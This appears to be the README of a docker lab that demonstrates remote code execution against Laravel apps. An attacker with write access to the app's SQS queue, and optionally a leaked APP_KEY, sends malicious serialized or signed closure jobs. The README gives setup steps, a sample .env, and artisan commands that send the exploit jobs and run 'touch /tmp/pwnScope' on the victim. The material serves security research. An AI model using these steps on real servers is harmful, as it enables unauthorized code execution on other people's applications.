Under certain pre-conditions an attacker might be able to abuse a configured Laravel Queue to execute arbitrary code within the context of the application server.
The preconditions are:
- The victim Laravel app has a queue listener/worker active
- The attacker has write access to the queue (For example leaked through the .env file)
- (Optional) The attacker has knowledge of the APP_KEY
The exploits were tested on both Laravel 8 and Laravel 9.2.0 with an AWS SQS queue.
The attack is described in more detail within our blog post which can be found TODO here
The environment can be started with docker-compose. The environment contains three different Laravel instances. A "victim" app, an "exploit app" which exploit insecure deserialization within job handling, an "exploit scope app" which executes arbitrary PHP code signed with an APP_KEY.
- Prepare Docker
git clone git@github.com:mogwailabs/Laravel-Queue-Exploit-Environment.git
cd Laravel-Queue-Exploit-Environment
docker-compose up --build -d
Manually install aws sdk dependency (this should not be needed, but we had issues with composer with these Docker images):
docker exec -it laravel-queue-exploit-environment-main_laravel_exploit_1 composer require aws/aws-sdk-php
docker exec -it laravel-queue-exploit-environment-main_laravel_exploit_scope_1 composer require aws/aws-sdk-php
docker exec -it laravel-queue-exploit-environment-main_laravel_victim_1 composer require aws/aws-sdk-php
- Prepare .env files
We need the following preconditions:
- All containers need to talk to the same AWS SQS Queue
- The victim container (
laravel-queue-exploit-environment-main_laravel_victim_1
) and the exploit scope containerlaravel-queue-exploit-environment-main_laravel_exploit_scope_1
container need to have the same AppKey
The easisest approach is just to create one .env
file and replace the existing .env
files within the app subdirectories.
An examplary .env
file can be found within the root directory of this repository. An example on how to set up an AWS SQS queue in Laravel can be found in this blog post)
The most important lines within the environment file will be:
# Leaked APP_KEY
APP_KEY=base64:H0b+Stlf9CjTFhlA3ggzmtPhGobI5CVkI7AheAHdvkA=
# Tell Laravel to use an SQS queue
QUEUE_CONNECTION=sqs
AWS_ACCESS_KEY_ID=<ACCESS_KEY_ID>
AWS_SECRET_ACCESS_KEY=<ACCESS_SECRET>
AWS_DEFAULT_REGION=us-east-1
SQS_PREFIX=https://sqs.us-east-1.amazonaws.com/<SQS_QUEUE_ID>/
The victim
docker container is a default container with no modifications (besides the .env).
The victim will need to work to the SQS queue. As soon as it recieves a malicious queue job it will exploit itself.
# Run the SQS queue
docker exec -it laravel-queue-exploit-environment-main_laravel_victim_1 php artisan queue:listen sqs
The "normal" exploit client relies on an insecure unserialize call on the "command" object within the Queue object.
The object can be sent to the SQS queue with the following docker command:
docker exec -it laravel-queue-exploit-environment-main_laravel_exploit_1 php /app/artisan command:exploitClosureDeser
The "scope" exploit client will send a malicious Queue object with the following command:
docker exec -it laravel-queue-exploit-environment-main_laravel_exploit_scope_1 php /app/artisan command:exploitClosureWrongScope 'touch /tmp/pwnScope'
# Make sure the victim has read all SQS queues
docker exec -it laravel-queue-exploit-environment-main_laravel_victim_1 php artisan queue:listen sqs
# Read the tmp directory, there should be our two exploitation files
docker exec -it laravel-queue-exploit-environment-main_laravel_victim_1 ls /tmp/
# If these files don't exist, make sure the SQS queue is set correct on all the containers
# Also make sure that the "scope" container needs the same AppKey as the "victim"
# Also make sure the victim runs a Laravel version which is supported by the following Gadgetchain https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/9/chain.php